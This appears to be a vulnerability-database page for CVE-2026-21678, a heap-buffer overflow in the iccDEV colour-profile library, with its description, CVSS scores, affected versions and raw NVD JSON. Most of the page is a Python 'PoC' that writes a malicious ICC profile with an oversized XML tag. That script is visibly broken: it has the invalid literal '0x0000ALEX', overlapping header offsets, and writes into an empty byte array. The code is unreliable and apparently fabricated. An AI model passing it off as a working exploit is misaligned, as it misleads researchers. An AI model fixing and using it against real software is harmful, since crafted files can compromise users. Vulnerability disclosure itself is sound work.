Security Vulnerability Report
中文
CVE-2026-21678 CVSS 7.8 HIGH

CVE-2026-21678

Published: 2026-01-07 18:15:55
Last Modified: 2026-01-13 21:00:35

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap-buffer-overflow vulnerability in IccTagXml(). This issue has been patched in version 2.3.1.2.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21678 PoC - Heap Buffer Overflow in IccTagXml() # This PoC demonstrates the vulnerability by generating a malicious ICC profile # with an oversized XML tag that triggers heap buffer overflow. # Note: This is for educational and security research purposes only. import struct import os def create_malicious_icc_profile(): """ Create a malicious ICC profile with oversized XML tag data to trigger heap buffer overflow in IccTagXml() function. """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size will be set later profile_size = 0 # Preferred CMM type header[0:4] = b'lcms' # Profile version (2.3.1.2 = 0x02310102, but we target < 2.3.1.2) struct.pack_into('>I', header, 8, 0x02300000) # Profile device class (input device) header[12:16] = b'scn ' # Color space (RGB) header[16:20] = b'RGB ' # PCS (profile connection space) header[20:24] = b'XYZ ' # Creation date/time (dummy values) struct.pack_into('>I', header, 36, 0x00000000) # Profile file signature header[36:40] = b'acsp' # Primary platform (none) header[40:44] = b'\x00\x00\x00\x00' # Profile flags struct.pack_into('>I', header, 44, 0x00000000) # Device manufacturer header[48:52] = b'None' # Device model header[52:56] = b'Model' # Device attributes struct.pack_into('>Q', header, 56, 0x0000000000000000) # Rendering intent struct.pack_into('>I', header, 64, 0x00000000) # PCS illuminant (D50 XYZ) struct.pack_into('>I', header, 68, 0x0000ALEX) struct.pack_into('>I', header, 72, 0x000098B4) struct.pack_into('>I', header, 76, 0x00006210) # Profile creator header[80:84] = b'lcms' # Profile ID (MD5, set to zeros for simplicity) header[84:100] = b'\x00' * 16 # Number of tags (we'll add one tag for XML data) num_tags = 1 # Tag table offset (after header + tag table) tag_table_offset = 128 tag_table_size = num_tags * 12 + 4 data_offset = tag_table_offset + tag_table_size # Build tag table tag_table = bytearray() # Tag signature for XML meta data (custom signature for PoC) tag_signature = b'xml ' # Offset and size of data xml_data_size = 0x10000 # Large size to trigger overflow tag_table += tag_signature struct.pack_into('>I', tag_table, 4, data_offset) struct.pack_into('>I', tag_table, 8, xml_data_size) # Calculate total profile size profile_size = data_offset + xml_data_size # Update header with profile size struct.pack_into('>I', header, 0, profile_size) # Create malicious XML data - oversized to trigger heap overflow xml_data = bytearray(b'<xml>') xml_data += b'A' * (xml_data_size - 10) # Fill with padding xml_data += b'</xml>\x00' # Combine all parts profile = header + struct.pack('>I', num_tags) + tag_table + xml_data return bytes(profile) def main(): print("[*] CVE-2026-21678 PoC Generator") print("[*] Target: iccDEV < 2.3.1.2") print("[*] Vulnerability: Heap Buffer Overflow in IccTagXml()") # Generate malicious ICC profile malicious_profile = create_malicious_icc_profile() # Save to file output_file = "CVE-2026-21678_malicious.icc" with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"[+] Malicious ICC profile created: {output_file}") print(f"[+] Profile size: {len(malicious_profile)} bytes") print("[+] This profile contains oversized XML tag data") print("[+] When parsed by vulnerable iccDEV, it triggers heap buffer overflow") return output_file if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21678", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:55.000", "lastModified": "2026-01-13T21:00:35.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to heap-buffer-overflow vulnerability in IccTagXml(). This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV es vulnerable a una vulnerabilidad de desbordamiento de búfer de pila (heap-buffer-overflow) en IccTagXml(). Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/c6c0f1cf45b48db94266132ccda5280a1a33569d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/55", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/219", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-9rp2-4c6g-hppf", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}